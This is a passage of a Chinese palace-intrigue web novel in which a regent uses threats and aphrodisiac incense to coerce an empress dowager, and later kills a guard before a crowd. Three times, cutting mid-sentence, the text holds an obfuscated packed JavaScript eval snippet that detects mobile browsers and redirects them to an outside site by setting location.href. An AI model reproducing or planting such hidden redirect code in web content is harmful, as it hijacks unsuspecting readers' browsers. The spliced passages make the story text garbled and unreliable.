朱凝梅冷笑道:“我和陛下的性命都在你手里,我怎么敢伤你。忠勇侯,你究竟为什么要把陛下关起来,是不是该给我个理由?再怎么说,他也是个皇帝,不是任由你打杀的奴隶。” “他若不是你儿子,他已经被我杀过一千次了!”李穆抚摸她的脖子,在她耳边道:“太后曾送我一本春宫图,答应只要我扶你儿子上位,便同我将春宫图里的姿势都做一遍。如今我答应太后的,已经做到了,太后娘娘是否也应该允诺?” 他就在她耳边说话,灼热的气息,喷涌在她耳边。 朱凝眉脸色变得煞白,李穆有多不要脸,她并非第一次领教,却还是被他气得眼睛都红了。 她紧紧抓住他试图解开她扣子的手,用力将指甲嵌入他的皮肉中,直到她的指尖,触摸到了滑腻的血。 “李穆,你仔细想清楚,答应你的人,是我吗?你可别把其他女人和你调情时说的那些混账话,算到我身上。” 李穆眼眶红了,他掐着她的脖子,却没有用力:“朱雪梅,你又在骗我!你分明答应过我,你为什么现在又不承认了?你是个骗子,你一次又一次地骗了我……你为什么不继续骗我!” 李穆的语气逐渐癫狂,癫狂中还带着哽咽。 “我恨你!” 原本,朱凝眉还不确定姐姐是否对李穆有过这样的许诺,而她也只是想赌一把。 在她的记忆里,姐姐朱雪梅性格高傲,就算李穆将剑抵在她的脖子上,她也说不出这种下贱的话。 威胁她把春宫图上的姿势都做一遍这种荤话,她和李穆成婚前,曾听李穆说过很多次。 兄长说,李穆现在已经疯了,她不应用常理来对待李穆。 想到李穆常常在梦中梦到姐姐,想到他对姐姐爱而不得、执念已成痴狂。 看李穆这个反应,李穆大概真的疯了吧! 他已经分不清梦与现实。 朱凝眉赌赢了。 退一万步说,哪怕朱雪梅真的对他有过这种承诺,只要她朱凝眉抵死不从,李穆难道敢继续逼她就范? 李穆咬着牙不说话,也不敢真的掐死她。 但朱凝眉知道该怎么气死他:“李穆,为了躲你,我逃出宫三个月。这三个月,你用尽各种手段威胁、吓唬他们,逼迫他们上天入地也要把我找回来。” “恭喜你!把我找回来了。你为什么把陛下关起来?不就是想用他来要挟我,逼我就范?对你而言,我不过是砧板上的一块肉,你想如何就能如何,你又何必再假惺惺的装模作样呢?既然你恨我,就别怕伤了我。” “炉子里的催情香,已经起了作用,我的反抗对你而言,只是助兴。你想做就快点吧,做完早点把我儿子放出来。” “等我被你逼死了,你就把我烧了,一把灰撒在河里吧。我被你毁了清白,不配睡在帝王身侧,更不愿玷污我朱家祖坟。” 李穆什么都还没做,就听她把自己身后事安排好了。 好得很,她居然学会用死来威胁自己! 李穆被她气得咬紧牙关,腮帮子都在颤抖:“你敢寻死,我就把你儿子剥皮抽筋,让朱家灭九族。” “谁说我想死了?我想活得很。赶紧从我身上爬起来,你的身体比一头牛还重,我就快要被你压死了。” 她等了半天,李穆都没动,他平静得像是一团燃烧过后的灰烬,安静得让她不敢太大声呼吸,那悲伤的眼神让她怀疑自己是不是说得有点太狠了。 过了很久,李穆终于松开了她,从她身上爬起来。 他站在她面前,居高临下地看着她:“太后娘娘,先帝于病榻向我托孤,让我扶持陛下,助他成明君。今日陛下对我不敬,口出恶言,理当受罚。常言道,纵子如杀子。娘娘,陛下今年已经十四岁,他也该学点规矩了。” 李穆说完,徒手碾灭了倒在软榻上的催情香,甩袖离去。 朱凝眉看着被他熄灭的香灰,想想都觉得疼。 他怎么不怕疼? 这个皮糙肉厚脸皮更厚的莽夫。 安宁宫外。 李穆抵着墙,吐出一口黑血。 梅景行从寝殿退出来后,便一直默默计算着时辰。 原以为李穆终于得偿所愿,要很久才能出来,可没想到他这么快就出来了。 他竟然宁愿气血逆行地逼退身体里的催情香,也不愿意动她分毫。看来里面的那位太后,是有些能耐的。 梅景行心中惊诧,眸色微动,面上却不敢显露出一分。 李穆抵着墙吐完血,才觉得脑子清醒了些,他瞥了一眼身旁的梅景行,道:“有人在她殿中点了催情香,你去把人揪出来,当众打死。然后再将太后寝宫里的人都筛一遍,把那些爱动歪脑筋的人,从她身边弄走。她不喜欢的事,我也不会喜欢。” “奴婢遵命。”梅景行留意到李穆的掌心被烫伤,问:“您的手受伤了,奴婢立刻去请太医。” “你是应该去请太医,但不是给我请。她中了催情香,现在正难受,你赶紧让太医赶紧给她开副药。”李穆交代完这些事,才转身离开。 梅景行走入寝殿,见到朱凝眉满头的汗,眼尾通红的模样,不禁对她产生几分敬畏。 这催情香,是他找高人秘制的,凡中香者,无人能保持清醒。可朱凝眉不但能克制住汹涌的欲念,反而保持住理智,把李穆气得吐血。 就凭她这份非凡的定力,以后都不能小瞧了她。 梅景行亲自给她熬了解药,服侍她喝下。 朱凝眉喝完药没多久,身体里的灼热终于散去,脑子也清醒了许多。她疲惫地吐出一口气,然后看向梅景行,问:“小皇帝被他关在哪里?既然李穆不肯放人,你便去找几个身手利落的人过来,我们一会儿就去把小皇帝抢出来。” 梅景行跪在地上,劝道:“娘娘别冲动,您斗不过李穆。” 朱凝眉道:“我不冲动一把,小皇帝今晚别想被放出来。你不怕他在里面挨饿受冻?就算李穆暂时不想杀小皇帝,可他手底下的人呢?现在李穆已经把持了整个皇宫,他只要杀了小皇帝,穿上龙袍,就能立刻登基为帝。你猜他那些心腹下属,想不想要这份从龙之功?” 梅景行低着头,沉默不语。 朱凝眉休息片刻后,便拿着剑,走出了安宁宫。 梅景行跟在她身后,看着她瘦削的背影,嘴角漫上一抹神秘的笑。 与此同时,宫外,大长公主府。 “母亲,您别只顾着急,先把药喝了吧。” 福康县主端着药走进大长公主的卧房,大长公主躺在榻上,咳嗽不断。自从先帝病逝,大长公主就病了,直到现在还未康复。 福康县主伺候大长公主喝药,可她却看着窗外的天空出了神。 “宫里有消息了吗?” 大长公主推开递到自己面前的药,声音虚弱地问。 福康县主摇头。 宫里没有消息,大长公主心绪难宁。 待到福康县主的夫婿——金吾卫副指挥使舒奕将军从外面回来后,大长公主忽然精神抖擞地坐了起来,忙不迭地问:“宫里有消息了吗?” 舒奕神色低落,低垂着头,低声回答:“梅景行传信出来,皇上被李穆关在宣德殿的侧殿中思过。” “他是皇帝,谁敢让他思过!” 大长公主顿时捂着胸口,哭了起来:“是我等无能,竟护不住陛下!堂堂天子,竟然被李穆那乱臣贼子囚禁了起来虐待。” 福康县主见状,立即安慰她:“听说今日早晨,朱家已将朱雪梅送回宫里。有她在,我想陛下断然不会有事,母亲您千万别生气,保重身体最要紧!” “朱雪梅这个贱人,她还活着干什么?她为什么要贪生怕死!早在先帝驾崩时,她就该随先帝而去,这样至少还能在后世史书上落个干净的名声。她现在回来……只会给我那死去的皇兄戴绿帽啊!” 舒家和朱家是世交,朱雪梅与舒奕是青梅竹马的玩伴,朱雪梅品性高洁,舒奕不愿她被大长公主诋毁。 李穆如今是舒奕的上峰,无论旁人说李穆如何狼子野心,舒奕始终认为,他是大齐的英雄。 当年,李穆凭一己之力守住北疆,从此,大齐百姓不再被北绒人抢去当奴隶。他还单枪匹马闯入北绒,抓住了北绒太子,威胁北绒皇帝归还从前被抓过去当奴隶的大齐百姓。 舒奕一直遗憾,他没有机会跟随李穆去战场杀敌,只能在李穆得胜归来后,羡慕地听着从战场归来的同僚,回忆那些发生在北疆的传奇故事。 “殿下放宽心,太后性情贞烈,她不会顺从李穆!”舒奕想了想,又道:“听说昨日李穆带着仪仗队去朱家接太后回宫,太后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445701|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有给他好脸面。” 谁料大长公主更加生气:“就是因为她没有给李穆脸面,李穆才要为难陛下。” “当年在庆功宴上,他看朱雪梅的眼神就不干净。我向皇兄揭露李穆的狼子野心,他非但不信,反而指责我在诬陷忠良!都怪朱雪梅这个贱人……” 舒奕打断她的话:“大长公主殿下,请慎言。听说昨日工部左侍郎在家骂李穆是乱臣贼子,今晨,仆人便发现他悬梁于自家厅堂。正因为李穆还惦记着太后娘娘,我们这些皇亲国戚,才能绝境中窥出一线生机。殿下能保证,您说的话绝对传不到李穆耳中?” 大长公主喘着气,不敢再骂。 但她不甘被人压制,又问:“秦王弟那里,你们可联系上他了?” 舒奕道:“如今李穆控制了京城的防守,所有人只进不出,我们无法联系秦王。” 大长公主将摆在案头的药一口饮罢,起身来到桌前,亲自写了一封拜帖,要求进宫觐见太后:“我得去亲自见一见朱雪梅,让她想办法说服李穆同意让秦王进京拜祭先帝,向新帝请安。” 福康君主诧异地问:“母亲难道是想放弃陛下,改扶持秦王上位?” 大长公主道:“鸡蛋不能碎在同一个篮子里,我们得做好两手准备。若朱雪梅能哄得李穆放弃权利,归政于陛下,我自然也乐见其成。她若没有这个能力,那我们便只能联合秦王,趁他们和李穆斗得你死我活时,再夺回我陆氏江山。” 大长公主把请安帖交给福康郡主后,挥手让他们退下。 她知道自己已经病入膏肓,活不了多久,可是在她死前,一定拼尽全力从李穆手中把属于陆氏皇族的权利给夺回来。 宫内,此时已是日暮黄昏。 朱凝眉吃饱喝足,休整之后,带着梅景行给她找齐的三十个人,气势汹汹、浩浩荡荡地闯到宣德殿门口,却在看见全副武装的金吾卫后,停下了脚步。 她看了看身旁拿着木棍的太监们,意识到让他们去对战金吾卫,等于鸡蛋撞石头。 梅景行见她踌躇不前,轻声提醒:“太后娘娘,我已经打听清楚了,陛下就是被李穆关在这里。” 凝眉听到这声太后,那股子气势汹汹的狠劲儿忽然散了。 谁能想到呢? 三日前,她还在山上的上大甲道观里当着闲云野鹤,过得自由自在。 三日后的现在,她就被困在红墙绿瓦的宫墙内,成了太后。 更荒谬的是,她现在还得带着一群拿着棍子的太监,去跟拿刀的金吾卫打架,去把被关在殿内的皇帝给抢出来。她承认自己过于鲁莽了! 金吾卫指挥使罗克己从金吾卫队列中走出来,看着梅景行,道:“放肆,尔等竟敢带人围攻宣德殿,这是要造反吗?” 罗克己故意看不到她,显然在记恨昨日之事。但她没工夫介意这些小细节,一切都得等她把小皇帝从里面弄出来再说。 朱凝眉主动上前,对他笑得一脸灿烂,主动将一袋金瓜子递到他手里,柔声道:“罗将军严重了,请您体谅一下我这当母亲的心情,陛下在里面被关了一天了,我想进去看看他,顺便给他送些吃的,请您行个方便。” 罗克己讽刺一笑,抛了抛手上的这袋金瓜子,嘴角扯出不屑,然后他将装着金瓜子的锦袋用力砸在地上。 地面发出一声脆响。 “太后娘娘,我可不是您用一袋金瓜子就能收买的人。” “是吗?”朱凝眉温温柔柔地笑道:“你好好看清楚,我刚才塞给你的,可不是什么金瓜子,而是李穆送给我的玉镯。罗将军,现在你把李穆送给我的玉镯摔坏了,你说我该怎么向李穆交代?” 罗克己皱了皱眉,眸光转向地面,发现地上果然有两块碎裂的玉镯。 她居然能在他眼皮子底下,迅速将一袋金瓜子换成玉镯! 怪不得兄弟们都说宫里的女人看着温温柔柔,却个个心机深沉,阴险可怕,他今日算是长见识了! 不过,他可不是吃素的。 谁敢把那些阴狠手段耍到他面前来,简直是愚蠢至极! 但罗克己不确定摔碎的玉镯是不是李穆送给太后的礼物。 见到罗克己眼中露出犹豫,朱凝眉立即小声对梅景行说:“一会儿我想办法把门撞开,你别管我,先带人闯进去把陛下救出来。” “娘娘想做什么?”梅景行担忧道。 “别管我!做好你的事就行。” 把事情交代完后,朱凝眉装腔作势地凶了起来:“来人,罗克己打碎我的玉镯,他拖下去掌嘴四十。” 当然不会有人敢将罗克己拖下去。 就连罗克己都觉得太后娘娘是不是在宫外把脑子摔坏了。 “太后既知我是忠勇侯的人,便也该知道,您没有权利处置我!” “罗将军,若在宫外,我是管不着您。可这里是皇宫,我是这宫里的太后。国有国法,宫有宫规,你打碎了我的玉镯,我掌掴你四十下,这就是宫里规矩!你不想受,也得受着!” 既然没人敢把罗克己拖下去,朱凝眉只好亲自动手,她撸起袖子,上前两步,“啪啪”两声,以迅雷不及掩耳之势给了他两巴掌。 罗克己被她打懵了。 罗克己握住她的手腕,对她吼道:“我叫你一声太后,是看在忠勇侯的面子上。可你弄清楚现在的处境了吗?你不过是个阶下囚,别给脸不要脸!” 朱凝眉悄悄给梅景行使了个眼色,暗示她就要行动了,让他一会儿别管自己,趁乱进去救人。 梅景行轻轻点点头。 这时,他看见朱凝眉像个泼妇一样,大声嚎起来。 她这举动,与她的容貌极不相称。 “你们都快来看看,金吾卫的首领欺负人啊!先帝,你快看看,你走的时候怎么不把我们娘俩一起带走啊……” 朱凝眉住在山上修道时,常给山下人办白喜事时唱经,早就把嗓子已经练出来了。 她哭得惊天动地,把罗克己的耳朵都快震聋了。 一名年轻俊俏的金吾卫,忍不住上前,提醒罗克己:“她毕竟是太后娘娘,万一忠勇侯要是知道咱们这样对她,怪罪下来,咱哥儿几个怕是要……” 话还没说完,他就被罗克己结结实实地踢了一脚。 “放你娘的狗屁!忠勇侯命我们守着小皇帝,连只苍蝇都别放进去。这太后明显就是来闹事的,忠勇侯又不昏聩,咱们替他尽忠职守,他怎么会怪罪我们!” 那被踹了一脚的金吾卫,瘸着腿低着头退下,不敢再多说什么。 罗克己毕竟是个糙汉子,他哪里能猜出来朱凝眉脑子里那些小九九? 此时,朱凝眉见所有金吾卫的目光都集中在自己身上,便觉得时机成熟,用力挣脱被罗克己握着她的手腕。 “罗克己,你是什么脏东西,也敢碰哀家!你放开哀家!”她又骂又踹。 罗克己正是气血上涌的年纪,被讨厌的女子骂作是脏东西,心里如何不生气。 太后毕竟是李穆惦记的女子,他一直握着她的手,也不妥当。 可他若松手,是否会继续被太后掌掴?真不知她一个弱女子,哪来这么大力气! 罗克己轻轻一甩,他只想把像块狗皮膏药一样黏在自己身上的太后甩开,没有用多大力气。 “嘭”一声响起。 众人看见太后被罗克己将军用力甩到宣德殿的大门上。 大门被撞开的同时,太后的额头冒出鲜血,血很快就将她整张脸染红,看起来很可怕。 糟了,太后被金吾卫的人伤了,李穆一定会生气,他会不会迁怒整个金吾卫? 看着罗克己被自己吓得脸色煞白的模样,朱凝眉心里得意极了。 但额头上的血,并非她自己的血,这是她提前准备的鸡血。 就在这时,刚才趁乱闯入的梅景行已经带着几个好手闯了进去,把小皇帝陆憺从偏殿内救了出来。 陆憺看见朱凝眉额头上的血,也被吓蒙了。 “你们这群畜生,竟敢伤我母后!” 陆憺从殿内跑出来,拔出罗克己身上的佩剑,朝他的手臂重重砍了下去。 皇帝亲自动手,太监们也不甘落后,一时间打打杀杀,场面混乱了起来。 罗克己正处在慌乱之中,又陆憺用剑乱砍后,心里更加烦闷。当即一怒,夺了陆憺手中的剑,一只手把他压在地上,迫使陆憺的脸贴着地。 陆憺脸憋得通红,奋力挣扎起来。 看到这一幕,朱凝眉骨子里那种作为母亲的本能,一时间被激发了出来。 若此时被人碾压在地上的是榕姐呢?她还能置身事外吗?陆憺的生母看见他被人碾压在地上磋磨,会不会心痛? 朱凝眉红了眼,从离她最近的金吾卫手中夺了一把剑,毫无章法地朝罗克己身上乱砍。 那股狠劲儿,若非罗克己穿了盔甲,只怕会被她砍得血肉翻涌。但他一只手压着陆憺,又不能还手,还是被朱凝眉给砍伤了个胳膊。 罗克己见朱凝眉跟疯了似的,怕她挥剑砍了自己脖子让自己小命不保,权衡之下,不得不松开陆憺。 朱凝眉立即将陆憺从地上拉起来,握住剑,将他护在身后。 与此同时,看了一天奏折的李穆终于起身,往太后寝宫走去。 他想,刚才他们都中了催情香,说话都失去了理智。 现在她身上的催情香已经失效了吧,他们两个是否可以平心静气地坐下来,好好聊一聊? 他有很多话想跟她说。 她还不知道,当年他在北疆战场时,躺在死人堆里,最想念得最多的人就是她。 她为什么不能给他一次剖心明志的机会呢?他一定会比先皇更懂得珍惜她。 5. 第 5 章 宣德殿外。 和昨日那个爬完狗洞满身灰的小男孩比起来,这个抱着她紧张得浑身都在颤抖的少年,更像个皇帝,大概是因为他穿上了龙袍,脸上又干干净净的。 “母后!你受伤了。” “别怕,我没事。” 毕竟是个小孩子,朱凝眉不想让他担心,笑着安慰道:“不是我的血,是假的。” 陆憺不信,他翻开下摆,撕下一片柔软的白色内衬,试图擦干净她脸上和额头上的血,可她额头上有一道疤,正在汩汩地往外渗血,怎么都止不住,于是他更加惶恐不安起来。 “梅景行,母后受伤了,快宣太医!” 与此同时,梅景行蹲下,从怀里掏出个瓶子,从瓶子里倒出些药粉在手帕上,用手帕用力捂住朱凝眉的伤口,吩咐身旁的小太监去请太医过来。 朱凝眉见他俩神色凝重得有些不正常,开始怀疑自己。 她从袖子里摸出一个白瓷瓶,轻轻晃了晃,确认瓶子里的鸡血从来没倒出来过。 福生了个无量。 难道她头上的血,是自己的? 难道她是真的被罗克己撞伤了脑门,还撞出了一脸的血? 意识到这点后,朱凝眉开始后知后觉地头晕,这种失血性的头晕像极了每个月来月事后的第二天和第三天,躺在床上连起床去给自己倒杯水都没力气的那种晕。 陆憺的嘶吼声刚落下,李穆已经飞奔赶至宣德殿。 宣德殿外的金吾卫和太监,看见李穆,皆是一震。 所有人在这一刻停止打斗,面朝李穆而跪。 李穆放眼一望,金吾卫已经把强行闯入宣德殿的几个太监砍伤,太监们流着血躺倒在地上,生死未知。而罗克己也捂着刚才被朱凝眉砍伤的手臂,手指缝里渗满了血。 乌泱乌泱一大片人,跪的跪,倒的倒,最显眼的就剩下倚靠在陆憺怀里的那道柔弱的身影。 她的发丝被风吹得凌乱,满脸是血,嘴唇也没有一丝血色。 骤然见她受伤,李穆心里刺痛。 接着,陆憺哽咽的嗓音传到李穆耳朵里:“母后,您疼不疼?儿臣害怕,儿臣再也不能失去您了” 她分明满脸是血,却仍然坚强地安慰陆憺:“别怕,太医马上来了,我死不了。” 李穆望着这对眼中只有彼此的母子,他站在这里,俨然成了多余的人。 他走到她面前,想看看她的伤口,却见她用充满戒备的眼神看着自己。 她推开梅景行的手,站了起来,用柔弱瘦削的身躯将比她高了半个头的小皇帝护在身后。 没有梅景行给她捂着,她额头的血又渗透出来,血珠子从眉间滚落下来,像泪似的,从她眼角流了出来。 李穆心痛加剧,却见她举着剑,不让他靠近,满眼都是敌意。 “把剑给我!”李穆看着她。 可她却像是没有听见似的,反而把剑握得更紧了,剑尖更加用力地抵着他的胸膛:“别过来,你再上前一步,我就会杀了你。” “雪梅,听话,把剑给我!” 李穆的声音,温柔而低沉,含着几分温柔的甜腻。 又听见他叫自己雪梅,朱凝眉所有的委屈和恨意都冒了出来,恨不得把剑狠狠刺他的身体。 李穆是懂得哄女子开心的,朱凝眉从前就领教过这点,可无论从前还是现在,李穆真正想哄的人都是“雪梅”。 而她只是雪梅的替身,从前是,现在也是。 李穆见她眼睛里蓄满了泪,心软极了,放软了声音。 “我不会伤害你儿子,我只是想知道你伤得如何。” 朱凝眉听他亲口承诺不会伤害小皇帝,仿佛失去力气,软软地倒在陆憺的怀里,但她依然紧紧握着剑,不肯松开。 梅景行又倒了些药粉,重新捂在朱凝眉额头上,然后看向李穆:“忠勇侯,太后伤势未明,不可贸然移动。依奴婢之见,不如先给太后止血,等太医来看过之后,再做决断。” 李穆微微颔首。 清冷阴沉的眸光瞬间扫向罗克己。 “谁伤了她?” 罗克己大惊失色,然后强行冷静下来,按照对他有利的方向,将事情从头到尾地阐述了一遍。 “忠勇侯,属下只是依照您的命令行事,不放任何人闯进去。太后贿赂不成,便故意栽赃陷害属下,还命梅景行等人强行闯入宣德殿。” 李穆缓缓朝他走去,白色靴底踏着褐色的地砖,脚步沉重,却又悄无声息,似暴风骤雨来临之前那阴沉的静谧。 “哗”的一声,下摆骤然掀起,抬脚重重踢在罗克己的胸口。 骨头碎裂的轻响清晰地传到每个人的耳朵里。 罗克己一口血喷在半空,身子似落叶般坠落在地,倒在地上,抽搐了几下,就昏了过去,不知他是死是活。 李穆黑着脸,像地府爬出的恶鬼! 朱凝眉扔掉剑,把陆憺的耳朵捂住:“闭上眼睛,别看。” 小皇帝才十四岁,朱凝眉担心他见到这杀人的场面会做噩梦。 当年她就领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445702|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教过李穆的残忍,她第一次被李穆逼着杀人的时候,做了一夜噩梦。 李穆动怒,金吾卫所有人都吓得瑟瑟发抖。 “所有人都给我听着,她是太后,有权决定所有人的生死,也包括我在内。以后再有人敢伤她,下场便如同此人。” 只见李穆缓缓抽出腰中的雁翎刀,猛然砍向罗克己的头。 朱凝眉用力捂住小皇帝的耳朵,自己也吓得闭上了眼睛,好在她自己身体里流出的血,盖住了空气中那股浓烈的血腥味。 李穆见她害怕,令人把尸体抬走,再将地上的血冲洗干净。 他接过梅景行手里的帕子,替她捂着额头上的伤,又把她的手从小皇帝耳朵上拽了下来,强势地将她搂在自己的怀里。 “没事了,睁开眼吧。” 朱凝眉睁开眼,对上那双阴恻恻的眸子,他刚才杀人的画面在她脑海里再次回放,吓得她心脏一抽一抽的。 对他的那点恨意,已经被恐惧掩盖。 直到此刻她才终于体会到了兄嫂对于李穆的惧意从何而来。 如今的李穆,已不是她记忆里那个会哄她、逗她、骗她的李穆,而是从地狱里走出来的阎罗。 他从陆憺手中把人抱过来之后,她的身体就一直在颤抖。 李穆不懂,她为什么和别人一样害怕自己? 刚才在安宁宫的时候,她心狠、胆大又毒舌,几句话就他气得吐血。 她太脆弱了。 分明瘦成一把骨头,却又不拿自己的身体当回事,仿佛嫌自己命太长似的。 “还有谁欺负了你?”凌厉的眸子里,透着瘆人的杀意。 朱凝眉扯出一个讨好的笑,声音颤抖道:“除了你,还有谁敢欺负我呢?李穆,别再杀人了,我害怕。” “知道怕还敢带人来闹事?”李穆盯着她的额头,冷声道:“你就这么急于求死?既然你这么想死,不如我现在就成全你。还有梅景行一干人等,也得陪着你一起死!” 朱凝眉抿唇,她不能连累梅景行:“是谁把我逼得生不如死呢?如今我空有太后的身份,实则只是你的阶下囚。我被你视作禁脔,视作掌中玩物,甚至连寻死的权利都没有!” “你用陛下和朱家九族的性命来恐吓我,想让我放下尊严来讨好你,成全你的痴心妄想。可我若真的从了你,对你来说,我和你身旁的其他女子又有什么区别呢?” 她说完,硬着头皮,直视他幽深的眉眼。 在场所有人,包括小皇帝陆憺,都不敢大声喘气。 6. 第 6 章 她骂人的时候太激动,额头的伤一直在流血,李穆根本压不住,微黏的血,很快沾满他的指尖。 李穆看到她眼底的厌恶,幽深的眼眸中涌出细微的无措和难受 即便他如今权势滔天,有些事也很难改变。 他是马夫出身,性格粗鄙,手段激进;她是工部尚书家的大小姐,后来又成皇后,心比天高。 她打心眼里瞧不上他,她喜欢的人一直是舒奕那样的,当她望着舒意时,那双明亮的眼眸里迸发出的爱恋,是他遥不可及的梦。 他的爱意直接而热烈,可舒奕和先皇都擅长伪装,他们待人疏离,不轻易展露情绪。 如果她只喜欢那样的男子,他可以试着改变自己。 虽然他很想把她逼疯,把她变成和自己一样的疯子,彼此相互折磨,相互沉沦。如果不能相爱,何妨一起痛苦! 可是他不忍折腾她,她太脆弱。 幸好从军时的经历,让他学会如何伪装自己,只要他愿意,他也可以收敛残忍血腥的一面,伪装平静,隐匿情绪,在她面前游刃有余地表现出她所喜欢的从容和宽容。 他转头对一旁的梅景行道:“去催催太医院的人!怎么这么久还没来。” 朱凝眉听他这语气,并不是真的想要处死梅景行,没有继续吭声。 闹了这么久,她也乏了,且得闭目养神一会儿才能继续接着闹。 梅景行离开玄宣德殿后,一路奔跑,终于半路上遇到跑得气喘吁吁,不停擦汗的王太医。王太医今年五十岁,身体微胖,行动不太利索。梅景行接过他手里的药箱子,一把将他背起来,飞奔赶往宣德殿。 太医也是受宠若惊,他在宫中当值这么多年,第一次享受被司礼监大总管伺候的待遇。他边擦脑门上的汗,边问:“梅总管如此心急,可是陛下病了?” “不想死就少看、少问。”梅景行语气冷淡,言简意赅。 王太医立即闭嘴。 梅景行背着王太医来到宣德殿外,却见到了不伦不类的行军帐篷。 刚入夏,傍晚的风还有些凉,李穆见她冷得哆嗦,又担心抱着她进殿会影响她的伤,便迅速让金吾卫搭起行军帐篷,为她挡风。 王太医见到这阵仗便有些发怵,太后伤得究竟有多严重?自己能不能把太后治好?若治不好是否会连累全家? 走进帐篷的这短短几步,王太医已经把身后事都想好。 可钻进帐篷,往病人身上一瞧,他却懵了。 这等小伤,何必如此夸张? 小皇帝见太医立在门口,不敢动弹,对李穆道:“母后额头已经不再流血。你放开母后,让太医给她看病。” 李穆冷眼看向小皇帝,眼神充满威胁。 朱凝眉骂他:“你有什么事冲我来,吓唬小孩子算什么本事。” 李穆阴沉着脸问:“怎么,见你儿子受委屈,就不怕我了?刚才是谁抖得跟筛子一样说害怕?” 朱凝眉的恐惧消减,是因为她在李穆的瞳孔中看到恐惧。她再次说服自己,她是不可一世的朱雪梅,她是天生就目空一切,不把任何人放在眼里。 “你要杀便杀,别废话,不杀就把我放开。”朱凝眉自认为气势汹汹、语气冷漠。 李穆却听出几分娇嗔的滋味,甚至连她翻白眼的动作,都含着万种风情。 见她额头上的伤已经不再流血,李穆终于松手,将她安置在准备好的软垫上,让太医过来给她诊治。 见李穆如此郑重其事,王太医也不敢含糊,即便他一眼就看出来太后脑袋上这伤已经没什么问题,却还是做足功夫,尽其所能地表现出他的认真。 就算认真看过之后,也没什么问题。 王太医笑道:“多亏忠勇侯止血及时,太后娘娘的伤,已无大碍。但娘娘今日失血过多,难免会有些虚弱,需配合补血益气的药膳,卧床静养几日方可养回来。” 朱凝眉不以为然道:“都说了不会死,你们非不信!我每个月来月事的时候流的血都比这个多……” 李穆看着她,抿唇不语,眸光幽深。 朱凝眉已经不怕他,还觉得自己躺着气势不够,需要站起来说话。 她站起来,仰着下巴,直视他:“忠勇侯,哀家现在要带陛下回宫用晚膳,你让开,别挡路!” 王太医惜命,始终谨记梅景行的警告,不敢多看,不敢多听。 李穆对他挥挥手,让他退下。 太医走后,陆憺低着头站在朱凝眉身边,不敢直视李穆。 李穆面容平静,声音不辨喜怒:“陛下的功课写得如何?” 陆憺气短:“没写完。” “那就继续写!” 朱凝眉诧异:“什么功课?” “昨日儿臣爬狗洞出宫,回宫时遇上忠勇侯。他要儿臣今日默写出《孟子》梁惠王篇,可梁惠王篇太长,儿臣默不出来,他便将儿臣关进宣德殿侧殿内,说儿臣什么时候默完,什么时候才能出来。” “原来忠勇侯把你关起来,是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小皇帝担忧地轻抚她已经包扎好的伤,乖巧地道:“母后,您先回安宁宫去休息吧。儿臣一定早日把《孟子》梁惠王篇默出来。” “陛下好好念书,哀家每日都会来看你。” 朱凝眉坐轿撵回到了安宁宫,她来的时候宣德殿外这些金吾卫不把她放在眼里,走的时候这些人态度大变,跪在地上送她离开。 刚回到安宁宫,朱凝眉便收到大长公主的拜帖。 在朱凝眉只在宴会中见过两次大长公主,对她印象极其深刻,她性格嚣张跋扈,说话难听,比李穆还不好惹。 此刻,这封拜帖对朱凝眉来说就像是个烫手山芋,她立即把梅景行叫过来,问他有什么想法。 7. 第 7 章 朱凝眉还在等着梅景行的回答,而梅景行却再次对朱凝眉感到诧异,刚才在宣德殿外,李穆已经给了她那么大的脸面,她居然没有恃宠而骄? 仔细想想,似乎她的趾高气扬和骄纵都只针对李穆。 但权力最容易腐蚀人心,它让理智的人变得癫狂,让软弱的人变得心狠,让卑微的人再也不用顾忌自尊和颜面,勇敢地将丑陋欲望的一览无余地呈现在旁人面前。 难道她真的毫无城府? 梅景行不信。 宫里这些事,无非是看谁最先沉不住气漏了馅。 朱凝眉等不到回答,催问:“这位大长公主我见还是不见?见了她,该怎么应付?” “此等小事,娘娘可以自己做主。” 朱凝眉笑了笑:“我不见她,可以吗?大长公主看着就不好惹。她年纪大了,身子又不好,容易被我气死。” “那就不见。”梅景行见她对自己开诚布公,也大方地给她透了些讯息:“大长公主不看好陛下,想支持秦王上位。她来找娘娘,大概是让娘娘说服李穆,同意秦王进京。” “大长公主押错宝了吧!先皇把陛下立为太子多年,都未曾想过废储,恰恰证明陛下最适合待在龙椅上。若先皇觉得秦王能担当大任,为何不早点把秦王叫回来呢?”朱凝眉把拜帖随便一扔,拍拍手道:“麻烦你去告诉大长公主,就说我最近卧床养病,不方便见她。” 梅景行笑道:“是,奴才告退。” 朱凝梅点点头,道:“那我就不送你了,受了伤,有些头晕。” 梅景行弯着腰,退了出去,退至门口,正要转身,却又看见她光着一双软嫩白皙的脚跑出来。 “娘娘……” “那个……以后你要在殿里点催情香,提前跟我商量吧,我不喜欢那个味道。”说完,一双圆溜溜的眼睛看着他。 她不是向他问责,而是在好声好气跟他商量。 但她是如何猜出来的? 